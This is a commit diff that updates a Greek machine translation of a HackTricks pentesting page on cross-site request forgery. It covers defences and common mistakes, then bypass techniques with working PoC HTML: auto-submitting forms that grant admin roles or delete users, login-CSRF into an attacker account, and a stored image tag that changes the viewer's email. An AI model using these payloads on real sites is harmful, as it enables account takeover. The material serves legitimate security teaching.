Translated ['', 'src/pentesting-web/csrf-cross-site-request-forgery.md']

This commit is contained in:
Translator 2025-09-29 22:32:54 +00:00
parent fa5633c7b5
commit c0959d8094
2 changed files with 164 additions and 73 deletions

View File

@ -487,6 +487,7 @@
- [88tcp/udp - Pentesting Kerberos](network-services-pentesting/pentesting-kerberos-88/README.md)
- [Harvesting tickets from Windows](network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md)
- [Harvesting tickets from Linux](network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux.md)
- [Wsgi](network-services-pentesting/pentesting-web/wsgi.md)
- [110,995 - Pentesting POP](network-services-pentesting/pentesting-pop.md)
- [111/TCP/UDP - Pentesting Portmapper](network-services-pentesting/pentesting-rpcbind.md)
- [113 - Pentesting Ident](network-services-pentesting/113-pentesting-ident.md)

View File

@ -2,51 +2,58 @@
{{#include ../banners/hacktricks-training.md}}
## Cross-Site Request Forgery (CSRF) Εξήγηση
## Cross-Site Request Forgery (CSRF) Εξήγηση
**Cross-Site Request Forgery (CSRF)** είναι ένας τύπος ευπάθειας ασφάλειας που εντοπίζεται σε web εφαρμογές. Επιτρέπει σε επιτιθέμενους να εκτελούν ενέργειες εκ μέρους ανυποψίαστων χρηστών εκμεταλλευόμενοι τις πιστοποιημένες συνεδρίες τους. Η επίθεση εκτελείται όταν ένας χρήστης, ο οποίος είναι συνδεδεμένος στην πλατφόρμα του θύματος, επισκέπτεται έναν κακόβουλο ιστότοπο. Ο ιστότοπος αυτός στη συνέχεια ενεργοποιεί αιτήματα προς τον λογαριασμό του θύματος μέσω μεθόδων όπως η εκτέλεση JavaScript, η υποβολή φορμών ή η φόρτωση εικόνων.
**Cross-Site Request Forgery (CSRF)** είναι ένας τύπος ευπάθειας ασφαλείας που εντοπίζεται σε web εφαρμογές. Επιτρέπει σε επιτιθέμενους να εκτελούν ενέργειες εκ μέρους αφελών χρηστών αξιοποιώντας τις πιστοποιημένες συνεδρίες τους. Η επίθεση εκτελείται όταν ένας χρήστης, ο οποίος είναι συνδεδεμένος στην πλατφόρμα του θύματος, επισκέπτεται μια κακόβουλη σελίδα. Αυτή η σελίδα στη συνέχεια προκαλεί αιτήματα προς τον λογαριασμό του θύματος μέσω μεθόδων όπως η εκτέλεση JavaScript, η υποβολή φορμών ή το φόρτωμα εικόνων.
### Προαπαιτούμενα για μια επίθεση CSRF
Για να εκμεταλλευτείτε μια ευπάθεια CSRF, πρέπει να πληρούνται αρκετές προϋποθέσεις:
Για να εκμεταλλευτεί κανείς μια ευπάθεια CSRF πρέπει να πληρούνται αρκετές προϋποθέσεις:
1. **Εντοπισμός σημαντικής ενέργειας**: Ο επιτιθέμενος πρέπει να βρει μια ενέργεια που αξίζει να εκμεταλλευτεί, όπως η αλλαγή κωδικού, email ή η ανύψωση προνομίων.
2. **Διαχείριση συνεδρίας**: Η συνεδρία του χρήστη θα πρέπει να διαχειρίζεται αποκλειστικά μέσω cookies ή του HTTP Basic Authentication header, καθώς άλλα headers δεν μπορούν να χειραγωγηθούν για αυτόν τον σκοπό.
3. **Απουσία μη προβλέψιμων παραμέτρων**: Το αίτημα δεν πρέπει να περιέχει μη προβλέψιμες παραμέτρους, καθώς αυτές μπορούν να αποτρέψουν την επίθεση.
1. **Identify a Valuable Action**: Ο επιτιθέμενος πρέπει να εντοπίσει μια ενέργεια που αξίζει εκμετάλλευσης, όπως αλλαγή κωδικού, email ή ανύψωση προνομίων.
2. **Session Management**: Η συνεδρία του χρήστη πρέπει να διαχειρίζεται αποκλειστικά μέσω cookies ή της κεφαλίδας HTTP Basic Authentication, καθώς άλλες κεφαλίδες δεν μπορούν να χειραγωγηθούν για αυτόν τον σκοπό.
3. **Absence of Unpredictable Parameters**: Το αίτημα δεν θα πρέπει να περιέχει απρόβλεπτους παράγοντες, καθώς αυτοί μπορούν να αποτρέψουν την επίθεση.
### Γρήγορος Έλεγχος
Μπορείτε να **καταγράψετε το αίτημα με το Burp** και να ελέγξετε τις προστασίες CSRF και, για δοκιμή από τον browser, μπορείτε να κάνετε κλικ στο **Copy as fetch** και να ελέγξετε το αίτημα:
Μπορείτε να **captured the request in Burp** και να ελέγξετε τα προστατευτικά CSRF και για δοκιμή από το πρόγραμμα περιήγησης μπορείτε να κάνετε κλικ στο **Copy as fetch** και να ελέγξετε το αίτημα:
<figure><img src="../images/image (11) (1) (1).png" alt=""><figcaption></figcaption></figure>
### Προστασία έναντι CSRF
### Άμυνα κατά του CSRF
Μπορούν να εφαρμοστούν αρκετά αντίμετρα για την προστασία έναντι επιθέσεων CSRF:
Μπορούν να εφαρμοστούν διάφορα αντίμετρα για προστασία από επιθέσεις CSRF:
- [**SameSite cookies**](hacking-with-cookies/index.html#samesite): Αυτό το attribute εμποδίζει τον browser από το να στέλνει cookies μαζί με cross-site αιτήματα. [More about SameSite cookies](hacking-with-cookies/index.html#samesite).
- [**Cross-origin resource sharing**](cors-bypass.md): Η πολιτική CORS του ιστότοπου-θύματος μπορεί να επηρεάσει τη δυνατότητα εκτέλεσης της επίθεσης, ειδικά αν η επίθεση απαιτεί ανάγνωση της απόκρισης από τον ιστότοπο του θύματος. [Learn about CORS bypass](cors-bypass.md).
- **Επαλήθευση Χρήστη**: Η απαίτηση για τον κωδικό του χρήστη ή η επίλυση ενός captcha μπορεί να επιβεβαιώσει την πρόθεση του χρήστη.
- **Έλεγχος Referrer ή Origin Headers**: Η επικύρωση αυτών των headers μπορεί να βοηθήσει να διασφαλιστεί ότι τα αιτήματα προέρχονται από αξιόπιστες πηγές. Ωστόσο, η προσεκτική διαμόρφωση URLs μπορεί να παρακάμψει κακώς υλοποιημένους ελέγχους, όπως:
- Using `http://mal.net?orig=http://example.com` (το URL τελειώνει με το αξιόπιστο URL)
- Using `http://example.com.mal.net` (το URL ξεκινάει με το αξιόπιστο URL)
- **Τροποποίηση Ονομάτων Παραμέτρων**: Η αλλαγή των ονομάτων παραμέτρων σε POST ή GET αιτήματα μπορεί να βοηθήσει στην αποτροπή αυτοματοποιημένων επιθέσεων.
- [**SameSite cookies**](hacking-with-cookies/index.html#samesite): Αυτό το attribute αποτρέπει το πρόγραμμα περιήγησης από το να στέλνει cookies μαζί με cross-site αιτήματα. [More about SameSite cookies](hacking-with-cookies/index.html#samesite).
- [**Cross-origin resource sharing**](cors-bypass.md): Η πολιτική CORS του ιστότοπου θύματος μπορεί να επηρεάσει την πρακτικότητα της επίθεσης, ειδικά αν η επίθεση απαιτεί ανάγνωση της απάντησης από τον ιστότοπο θύματος. [Learn about CORS bypass](cors-bypass.md).
- **User Verification**: Το να ζητηθεί ο κωδικός του χρήστη ή η επίλυση ενός captcha μπορεί να επιβεβαιώσει την πρόθεση του χρήστη.
- **Checking Referrer or Origin Headers**: Η επικύρωση αυτών των κεφαλίδων μπορεί να βοηθήσει να διασφαλιστεί ότι τα αιτήματα προέρχονται από αξιόπιστες πηγές. Ωστόσο, προσεκτικά κατασκευασμένα URLs μπορούν να παρακάμψουν κακώς υλοποιημένους ελέγχους, όπως:
- Using `http://mal.net?orig=http://example.com` (URL ends with the trusted URL)
- Using `http://example.com.mal.net` (URL starts with the trusted URL)
- **Modifying Parameter Names**: Η αλλαγή των ονομάτων παραμέτρων σε POST ή GET αιτήματα μπορεί να βοηθήσει στην αποτροπή αυτοματοποιημένων επιθέσεων.
- **CSRF Tokens**: Η ενσωμάτωση ενός μοναδικού CSRF token σε κάθε συνεδρία και η απαίτηση αυτού του token στα επόμενα αιτήματα μπορεί να μειώσει σημαντικά τον κίνδυνο CSRF. Η αποτελεσματικότητα του token μπορεί να ενισχυθεί με την επιβολή CORS.
Η κατανόηση και η εφαρμογή αυτών των αμυντικών μέτρων είναι κρίσιμη για τη διατήρηση της ασφάλειας και της ακεραιότητας των web εφαρμογών.
Η κατανόηση και η υλοποίηση αυτών των αμυνών είναι κρίσιμη για τη διατήρηση της ασφάλειας και της ακεραιότητας των web εφαρμογών.
## Παράκαμψη Αμυντικών Μέτρων
#### Συνηθισμένα λάθη στις άμυνες
- SameSite pitfalls: `SameSite=Lax` εξακολουθεί να επιτρέπει κορυφαίου επιπέδου cross-site πλοηγήσεις όπως links και form GETs, οπότε πολλές CSRF επιθέσεις βασισμένες σε GET παραμένουν δυνατές. Δείτε τον πίνακα cookies στο [Hacking with Cookies > SameSite](hacking-with-cookies/index.html#samesite).
- Header checks: Επικυρώνετε το `Origin` όταν υπάρχει· αν και τα δύο `Origin` και `Referer` απουσιάζουν, απορρίψτε το αίτημα. Μην βασίζεστε σε substring/regex αντιστοιχίσεις του `Referer` που μπορούν να παρακαμφθούν με lookalike domains ή κατασκευασμένα URLs, και λάβετε υπόψη το κόλπο καταστολής `meta name="referrer" content="never"`.
- Method overrides: Θεωρήστε τις υπερχρεωμένες μεθόδους (`_method` ή override headers) ως αλλαγές κατάστασης και επιβάλετε CSRF στον τελικό (effective) method, όχι μόνο στο POST.
- Login flows: Εφαρμόστε προστασίες CSRF και στη διαδικασία login· αλλιώς, το login CSRF επιτρέπει την εξαναγκασμένη επαλήθευση σε λογαριασμούς ελεγχόμενους από τον επιτιθέμενο, που μπορεί να συνδεθεί με stored XSS.
## Παράκαμψη Αμυνών
### Από POST σε GET (method-conditioned CSRF validation bypass)
Ορισμένες εφαρμογές εφαρμόζουν έλεγχο CSRF μόνο για POST, παραλείποντάς τον για άλλα HTTP verbs. Ένα κοινό anti-pattern σε PHP μοιάζει με:
Μερικές εφαρμογές επιβάλλουν την επαλήθευση CSRF μόνο στο POST ενώ την παραλείπουν για άλλα verbs. Ένα κοινό anti-pattern σε PHP μοιάζει με:
```php
public function csrf_check($fatal = true) {
if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF
// ... validate __csrf_token here ...
}
```
If the vulnerable endpoint also accepts parameters from $_REQUEST, you can reissue the same action as a GET request and omit the CSRF token entirely. This converts a POST-only action into a GET action that succeeds without a token.
Αν το ευπαθές endpoint δέχεται επίσης παραμέτρους από $_REQUEST, μπορείτε να επανεκτελέσετε την ίδια ενέργεια ως GET request και να παραλείψετε εντελώς το CSRF token. Αυτό μετατρέπει μια ενέργεια αποκλειστικά για POST σε μια GET ενέργεια που εκτελείται με επιτυχία χωρίς token.
Example:
@ -66,48 +73,89 @@ GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoLi
```
Σημειώσεις:
- Αυτό το μοτίβο εμφανίζεται συχνά μαζί με reflected XSS όταν οι απαντήσεις σερβίρονται λανθασμένα ως text/html αντί για application/json.
- Ο συνδυασμός αυτού με XSS μειώνει πολύ τα εμπόδια εκμετάλλευσης, καθώς μπορείτε να παραδώσετε ένα μόνο GET link που ταυτόχρονα ενεργοποιεί τον ευάλωτο κώδικα και παρακάμπτει τελείως τους ελέγχους CSRF.
- Αυτό το μοτίβο εμφανίζεται συχνά μαζί με reflected XSS, όπου οι αποκρίσεις σερβίρονται λανθασμένα ως text/html αντί για application/json.
- Ο συνδυασμός αυτού με XSS μειώνει σημαντικά τα εμπόδια εκμετάλλευσης, επειδή μπορείτε να παραδώσετε ένα μόνο GET link που τόσο ενεργοποιεί την ευπαθή διαδρομή του κώδικα όσο και παρακάμπτει εντελώς τους ελέγχους CSRF.
### Έλλειψη token
Οι εφαρμογές μπορεί να εφαρμόζουν μηχανισμό για **επικύρωση token** όταν αυτά υπάρχουν. Ωστόσο, προκύπτει ευπάθεια αν η επικύρωση παραλείπεται εντελώς όταν το token απουσιάζει. Οι επιτιθέμενοι μπορούν να το εκμεταλλευτούν **αφαιρώντας την παράμετρο** που μεταφέρει το token, όχι μόνο την τιμή της. Αυτό τους επιτρέπει να παρακάμψουν τη διαδικασία επικύρωσης και να πραγματοποιήσουν μια Cross-Site Request Forgery (CSRF) attack αποτελεσματικά.
Applications might implement a mechanism to **validate tokens** when they are present. However, a vulnerability arises if the validation is skipped altogether when the token is absent. Attackers can exploit this by **removing the parameter** that carries the token, not just its value. This allows them to circumvent the validation process and conduct a Cross-Site Request Forgery (CSRF) attack effectively.
### Το CSRF token δεν συνδέεται με τη συνεδρία χρήστη
Moreover, some implementations only check that the parameter exists but dont validate its content, so an **empty token value is accepted**. In that case, simply submitting the request with `csrf=` is enough:
```http
POST /admin/users/role HTTP/2
Host: example.com
Content-Type: application/x-www-form-urlencoded
Εφαρμογές που **δεν συνδέουν τα CSRF tokens με τις συνεδρίες χρηστών** παρουσιάζουν σημαντικό **κίνδυνο ασφάλειας**. Αυτά τα συστήματα επαληθεύουν tokens εναντίον μιας **παγκόσμιας δεξαμενής** αντί να διασφαλίζουν ότι κάθε token συνδέεται με τη συνεδρία που το δημιούργησε.
username=guest&role=admin&csrf=
```
Ελάχιστο PoC αυτόματης υποβολής (απόκρυψη πλοήγησης με history.pushState):
```html
<html>
<body>
<form action="https://example.com/admin/users/role" method="POST">
<input type="hidden" name="username" value="guest" />
<input type="hidden" name="role" value="admin" />
<input type="hidden" name="csrf" value="" />
<input type="submit" value="Submit request" />
</form>
<script>history.pushState('', '', '/'); document.forms[0].submit();</script>
</body>
</html>
```
### CSRF token δεν δεσμεύεται στη συνεδρία χρήστη
Εφαρμογές που **δεν δεσμεύουν τα CSRF tokens σε συνεδρίες χρηστών** αποτελούν σημαντικό **κίνδυνο ασφαλείας**. Αυτά τα συστήματα επαληθεύουν τα tokens απέναντι σε μια **global pool** αντί να διασφαλίζουν ότι κάθε token είναι συνδεδεμένο με την αρχική συνεδρία.
Έτσι το εκμεταλλεύονται οι επιτιθέμενοι:
1. Αυθεντικοποιούνται χρησιμοποιώντας το δικό τους λογαριασμό.
2. Αποκτούν ένα έγκυρο CSRF token από την **παγκόσμια δεξαμενή**.
3. Χρησιμοποιούν αυτό το token σε επίθεση CSRF εναντίον του θύματος.
Αυτή η ευπάθεια επιτρέπει στους επιτιθέμενους να κάνουν μη εξουσιοδοτημένα requests εκ μέρους του θύματος, εκμεταλλευόμενοι τον **μη επαρκή μηχανισμό επαλήθευσης token** της εφαρμογής.
1. **Κάνουν έλεγχο ταυτότητας** χρησιμοποιώντας τον δικό τους λογαριασμό.
2. **Αποκτούν ένα έγκυρο CSRF token** από την global pool.
3. **Χρησιμοποιούν αυτό το token** σε επίθεση CSRF εναντίον ενός θύματος.
### Παρακάμψη μεθόδου
Αυτή η ευπάθεια επιτρέπει σε επιτιθέμενους να κάνουν μη εξουσιοδοτημένα αιτήματα εκ μέρους του θύματος, εκμεταλλευόμενοι τον **ανεπαρκή μηχανισμό επαλήθευσης tokens** της εφαρμογής.
Αν το request χρησιμοποιεί μια "**περίεργη**" **method**, έλεγξε αν λειτουργεί η **method override functionality**. Για παράδειγμα, αν χρησιμοποιεί **PUT** μέθοδο μπορείς να δοκιμάσεις να **χρησιμοποιήσεις POST** και να **στείλεις**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
### Παράκαμψη μεθόδου
Αυτό μπορεί επίσης να λειτουργήσει στέλνοντας την **\_method παράμετρο μέσα σε ένα POST request** ή χρησιμοποιώντας τα **headers**:
Αν το αίτημα χρησιμοποιεί μια **"περίεργη"** **μέθοδο**, έλεγξε αν λειτουργεί η λειτουργία **method override**. Για παράδειγμα, αν χρησιμοποιεί μέθοδο **PUT/DELETE/PATCH** μπορείς να δοκιμάσεις να χρησιμοποιήσεις **POST** και να στείλεις override, π.χ. `https://example.com/my/dear/api/val/num?_method=PUT`.
- _X-HTTP-Method_
- _X-HTTP-Method-Override_
- _X-Method-Override_
Αυτό μπορεί επίσης να λειτουργήσει στέλνοντας την παράμετρο **`_method` inside a POST body** ή χρησιμοποιώντας override **headers**:
### Παρακάμψη με προσαρμοσμένο header token
- `X-HTTP-Method`
- `X-HTTP-Method-Override`
- `X-Method-Override`
Αν το request προσθέτει ένα **custom header** με ένα **token** ως **μέθοδο προστασίας CSRF**, τότε:
Συνηθίζεται σε frameworks όπως **Laravel**, **Symfony**, **Express** και άλλα. Οι προγραμματιστές μερικές φορές παραλείπουν τον CSRF στους μη-POST verbs υποθέτοντας ότι οι browsers δεν μπορούν να τους στείλουν· με overrides, μπορείς ακόμα να φτάσεις αυτούς τους handlers μέσω POST.
- Δοκίμασε το request χωρίς το **Customized Token και επίσης χωρίς το header.**
- Δοκίμασε το request με **ίδιο ακριβώς μήκος αλλά διαφορετικό token**.
Παράδειγμα request και HTML PoC:
```http
POST /users/delete HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
### Το CSRF token επαληθεύεται μέσω cookie
username=admin&_method=DELETE
```
Οι εφαρμογές μπορεί να υλοποιούν προστασία CSRF διπλασιάζοντας το token τόσο σε cookie όσο και σε παράμετρο request ή θέτοντας ένα CSRF cookie και επαληθεύοντας αν το token που αποστέλλεται στο backend αντιστοιχεί στην τιμή του cookie. Η εφαρμογή επαληθεύει τα requests ελέγχοντας αν το token στην παράμετρο request εναρμονίζεται με την τιμή στο cookie.
```html
<form method="POST" action="/users/delete">
<input name="username" value="admin">
<input type="hidden" name="_method" value="DELETE">
<button type="submit">Delete User</button>
</form>
```
### Custom header token bypass
Ωστόσο, αυτή η μέθοδος είναι ευάλωτη σε CSRF επιθέσεις αν ο ιστότοπος έχει σφάλματα που επιτρέπουν σε έναν επιτιθέμενο να θέσει ένα CSRF cookie στο πρόγραμμα περιήγησης του θύματος, όπως μια ευπάθεια CRLF. Ο επιτιθέμενος μπορεί να το εκμεταλλευτεί φορτώνοντας μια παραπλανητική εικόνα που ορίζει το cookie και στη συνέχεια ξεκινώντας την επίθεση CSRF.
Εάν το αίτημα προσθέτει ένα **custom header** με ένα **token** στο αίτημα ως **CSRF protection method**, τότε:
Παρακάτω υπάρχει ένα παράδειγμα για το πώς θα μπορούσε να δομηθεί μια επίθεση:
- Δοκίμασε το αίτημα χωρίς το **Customized Token and also header.**
- Δοκίμασε το αίτημα με exact **same length but different token**
### CSRF token is verified by a cookie
Οι εφαρμογές μπορεί να υλοποιούν CSRF προστασία αντιγράφοντας το token τόσο σε ένα cookie όσο και σε ένα request parameter ή ορίζοντας ένα CSRF cookie και επαληθεύοντας αν το token που στέλνεται στο backend αντιστοιχεί στο cookie. Η εφαρμογή επικυρώνει τα αιτήματα ελέγχοντας αν το token στο request parameter ευθυγραμμίζεται με την τιμή στο cookie.
Ωστόσο, αυτή η μέθοδος είναι ευάλωτη σε CSRF attacks εάν ο ιστότοπος έχει ευπάθειες που επιτρέπουν σε έναν attacker να ορίσει ένα CSRF cookie στο victim's browser, όπως μια CRLF ευπάθεια. Ο attacker μπορεί να το εκμεταλλευτεί φορτώνοντας μια παραπλανητική εικόνα που ορίζει το cookie και στη συνέχεια ξεκινώντας την CSRF επίθεση.
Παρακάτω είναι ένα παράδειγμα του πώς θα μπορούσε να δομηθεί μια επίθεση:
```html
<html>
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
@ -130,19 +178,19 @@ onerror="document.forms[0].submit();" />
</html>
```
> [!TIP]
> Σημειώστε ότι αν το **csrf token σχετίζεται με το session cookie αυτή η επίθεση δεν θα δουλέψει** επειδή θα χρειαστεί να ορίσετε στον victim το session σας, και επομένως θα επιτεθείτε στον εαυτό σας.
> Σημειώστε ότι αν το **csrf token is related with the session cookie this attack won't work** επειδή θα χρειαστεί να ορίσετε στο θύμα το session σας, και επομένως θα επιτεθείτε στον ίδιο σας τον εαυτό.
### Αλλαγή Content-Type
Σύμφωνα με [**this**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), για να **αποφύγετε preflight** αιτήματα όταν χρησιμοποιείτε τη μέθοδο **POST**, αυτές είναι οι επιτρεπόμενες τιμές Content-Type:
Σύμφωνα με [**this**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), για να **avoid preflight** requests που χρησιμοποιούν τη μέθοδο **POST** αυτές είναι οι επιτρεπτές τιμές Content-Type:
- **`application/x-www-form-urlencoded`**
- **`multipart/form-data`**
- **`text/plain`**
Ωστόσο, σημειώστε ότι η **λογική του server μπορεί να διαφέρει** ανάλογα με το **Content-Type** που χρησιμοποιείται, οπότε θα πρέπει να δοκιμάσετε τις προαναφερθείσες τιμές και άλλες όπως **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
Ωστόσο, σημειώστε ότι η **severs logic may vary** ανάλογα με το χρησιμοποιούμενο **Content-Type**, οπότε θα πρέπει να δοκιμάσετε τις αναφερόμενες τιμές και άλλες όπως **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
Παράδειγμα (from [here](https://brycec.me/posts/corctf_2021_challenges)) of sending JSON data as text/plain:
Example (from [here](https://brycec.me/posts/corctf_2021_challenges)) of sending JSON data as text/plain:
```html
<html>
<body>
@ -161,19 +209,19 @@ form.submit()
</body>
</html>
```
### Παράκαμψη των preflight requests για JSON δεδομένα
### Bypassing Preflight Requests for JSON Data
Όταν προσπαθείτε να στείλετε δεδομένα JSON μέσω ενός POST request, η χρήση του `Content-Type: application/json` σε μια HTML φόρμα δεν είναι άμεσα δυνατή. Ομοίως, η χρήση του `XMLHttpRequest` για να σταλεί αυτός ο τύπος περιεχομένου προκαλεί ένα preflight request. Παρ' όλα αυτά, υπάρχουν στρατηγικές για πιθανή παράκαμψη αυτού του περιορισμού και για έλεγχο αν ο server επεξεργάζεται τα JSON δεδομένα ανεξάρτητα από το Content-Type:
Όταν προσπαθείτε να στείλετε δεδομένα JSON μέσω ενός POST αιτήματος, η χρήση του `Content-Type: application/json` σε μια HTML φόρμα δεν είναι άμεσα δυνατή. Παρομοίως, η χρήση του `XMLHttpRequest` για την αποστολή αυτού του content type ενεργοποιεί ένα preflight αίτημα. Παρ' όλα αυτά, υπάρχουν στρατηγικές που ενδεχομένως να παρακάμψουν αυτόν τον περιορισμό και να ελέγξουν αν ο server επεξεργάζεται τα δεδομένα JSON ανεξάρτητα από το Content-Type:
1. **Use Alternative Content Types**: Χρησιμοποιήστε `Content-Type: text/plain` ή `Content-Type: application/x-www-form-urlencoded` θέτοντας `enctype="text/plain"` στη φόρμα. Αυτή η προσέγγιση ελέγχει αν το backend χρησιμοποιεί τα δεδομένα ανεξάρτητα από το Content-Type.
2. **Modify Content Type**: Για να αποφύγετε ένα preflight request ενώ εξασφαλίζετε ότι ο server αναγνωρίζει το περιεχόμενο ως JSON, μπορείτε να στείλετε τα δεδομένα με `Content-Type: text/plain; application/json`. Αυτό δεν προκαλεί preflight request αλλά μπορεί να επεξεργαστεί σωστά από τον server αν είναι ρυθμισμένος να δέχεται `application/json`.
3. **SWF Flash File Utilization**: Μια λιγότερο συχνή αλλά εφικτή μέθοδος περιλαμβάνει τη χρήση ενός SWF flash file για παράκαμψη τέτοιων περιορισμών. Για λεπτομερή κατανόηση αυτής της τεχνικής, ανατρέξτε σε [this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
1. **Use Alternative Content Types**: Χρησιμοποιήστε `Content-Type: text/plain` ή `Content-Type: application/x-www-form-urlencoded` ρυθμίζοντας `enctype="text/plain"` στη φόρμα. Αυτή η προσέγγιση δοκιμάζει αν το backend χρησιμοποιεί τα δεδομένα ανεξαρτήτως του Content-Type.
2. **Modify Content Type**: Για να αποφευχθεί ένα preflight αίτημα ενώ διατηρείται η πιθανότητα ότι ο server θα αναγνωρίσει το περιεχόμενο ως JSON, μπορείτε να στείλετε τα δεδομένα με `Content-Type: text/plain; application/json`. Αυτό δεν προκαλεί preflight αίτημα αλλά μπορεί να επεξεργαστεί σωστά από τον server εάν είναι ρυθμισμένος να δέχεται `application/json`.
3. **SWF Flash File Utilization**: Μια λιγότερο κοινή αλλά εφικτή μέθοδος περιλαμβάνει τη χρήση αρχείου SWF/Flash για την παράκαμψη τέτοιων περιορισμών. Για εις βάθος κατανόηση αυτής της τεχνικής, ανατρέξτε σε [this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
### Παράκαμψη ελέγχου Referrer / Origin
### Referrer / Origin check bypass
**Αποφύγετε το Referrer header**
**Avoid Referrer header**
Οι εφαρμογές μπορεί να επικυρώνουν την κεφαλίδα 'Referer' μόνο όταν αυτή υπάρχει. Για να εμποδίσετε έναν browser από το να στείλει αυτή την κεφαλίδα, μπορεί να χρησιμοποιηθεί το ακόλουθο HTML meta tag:
Οι εφαρμογές ενδέχεται να ελέγχουν την κεφαλίδα 'Referer' μόνο όταν αυτή υπάρχει. Για να εμποδίσετε έναν browser από το να στέλνει αυτήν την κεφαλίδα, μπορεί να χρησιμοποιηθεί η ακόλουθη HTML meta tag:
```xml
<meta name="referrer" content="never">
```
@ -186,7 +234,7 @@ form.submit()
ssrf-server-side-request-forgery/url-format-bypass.md
{{#endref}}
Για να ορίσετε το domain name του server στο URL που ο Referrer είναι πρόκειται να στείλει μέσα στις παραμέτρους μπορείτε να κάνετε:
Για να ορίσετε το όνομα τομέα του διακομιστή στο URL που θα στείλει ο Referrer μέσα στις παραμέτρους, μπορείτε να κάνετε:
```html
<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
@ -217,23 +265,58 @@ document.forms[0].submit()
```
### **HEAD method bypass**
Το πρώτο μέρος του [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) εξηγεί ότι στον [Oak's source code](https://github.com/oakserver/oak/blob/main/router.ts#L281), ένας router έχει ρυθμιστεί να **handle HEAD requests as GET requests** χωρίς σώμα απάντησης — ένα κοινό workaround που δεν είναι μοναδικό στον Oak. Αντί για έναν ειδικό handler που διαχειρίζεται τα HEAD reqs, απλώς **given to the GET handler but the app just removes the response body**.
Το πρώτο μέρος του [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) εξηγεί ότι στον [Oak's source code](https://github.com/oakserver/oak/blob/main/router.ts#L281), ένας router έχει ρυθμιστεί να **handle HEAD requests as GET requests** χωρίς response body — ένα κοινό workaround που δεν είναι μοναδικό στον Oak. Αντί για έναν συγκεκριμένο handler που ασχολείται με τα HEAD reqs, αυτά απλώς **παραδίδονται στον GET handler αλλά η εφαρμογή απλώς αφαιρεί το response body**.
Επομένως, αν ένα GET request περιορίζεται, μπορείτε απλά **να στείλετε ένα HEAD request που θα επεξεργαστεί ως GET request**.
Επομένως, αν ένα GET request περιορίζεται, μπορείτε απλώς να **στείλετε ένα HEAD request που θα επεξεργαστεί ως GET request**.
## **Exploit Examples**
### **Exfiltrating CSRF Token**
### Stored CSRF via user-generated HTML
Αν ένα **CSRF token** χρησιμοποιείται ως **defence**, μπορείτε να προσπαθήσετε να το **exfiltrate it** εκμεταλλευόμενοι μια [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) ευπάθεια ή μια [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html) ευπάθεια.
Όταν επιτρέπονται rich-text editors ή HTML injection, μπορείτε να διατηρήσετε ένα passive fetch που καλεί ένα ευάλωτο GET endpoint. Οποιοσδήποτε χρήστης που θα δει το περιεχόμενο θα εκτελεί αυτόματα το request με τα cookies του.
### **GET using HTML tags**
- Εάν η εφαρμογή χρησιμοποιεί ένα global CSRF token που δεν είναι δεσμευμένο στο user session, το ίδιο token μπορεί να λειτουργεί για όλους τους χρήστες, κάνοντας το stored CSRF αξιόπιστο απέναντι σε πολλούς στόχους.
Ελάχιστο παράδειγμα που αλλάζει το email του θεατή όταν φορτωθεί:
```html
<img src="https://example.com/account/settings?newEmail=attacker@example.com" alt="">
```
### Login CSRF σε συνδυασμό με stored XSS
Το Login CSRF μόνο του μπορεί να έχει μικρό αντίκτυπο, αλλά όταν συνδυαστεί με ένα authenticated stored XSS γίνεται ισχυρό: αναγκάστε το θύμα να authenticate σε έναν attacker-controlled account· μόλις βρεθεί σε αυτό το περιβάλλον, ένα stored XSS σε μια authenticated page εκτελείται και μπορεί να κλέψει tokens, να hijack τη session ή να escalate privileges.
- Βεβαιωθείτε ότι το login endpoint είναι CSRF-able (δεν υπάρχει per-session token ή origin check) και ότι δεν υπάρχουν user interaction gates που το μπλοκάρουν.
- Μετά το forced login, κάντε auto-navigate σε μια σελίδα που περιέχει το attackers stored XSS payload.
Ελάχιστο login-CSRF PoC:
```html
<html>
<body>
<form action="https://example.com/login" method="POST">
<input type="hidden" name="username" value="attacker@example.com" />
<input type="hidden" name="password" value="StrongPass123!" />
<input type="submit" value="Login" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
// Optionally redirect to a page with stored XSS in the attacker account
// location = 'https://example.com/app/inbox';
</script>
</body>
</html>
```
### **Εξαγωγή CSRF Token**
Αν ένα **CSRF token** χρησιμοποιείται ως **άμυνα**, μπορείτε να προσπαθήσετε να το **εξαγάγετε** εκμεταλλευόμενοι μια ευπάθεια [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) ή μια ευπάθεια [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html).
### **GET χρησιμοποιώντας HTML tags**
```xml
<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available
```
Άλλες ετικέτες HTML5 που μπορούν να χρησιμοποιηθούν για να στείλουν αυτόματα ένα GET request είναι:
Άλλα HTML5 tags που μπορούν να χρησιμοποιηθούν για να στείλουν αυτόματα ένα GET request είναι:
```html
<iframe src="..."></iframe>
<script src="..."></script>
@ -262,7 +345,7 @@ background: url("...");
</video>
</audio>
```
### GET αίτημα φόρμας
### Φόρμα GET αίτημα
```html
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
@ -280,7 +363,7 @@ document.forms[0].submit()
</body>
</html>
```
### POST αίτημα φόρμας
### Αίτημα Form POST
```html
<html>
<body>
@ -308,7 +391,7 @@ document.forms[0].submit() //Way 3 to autosubmit
</body>
</html>
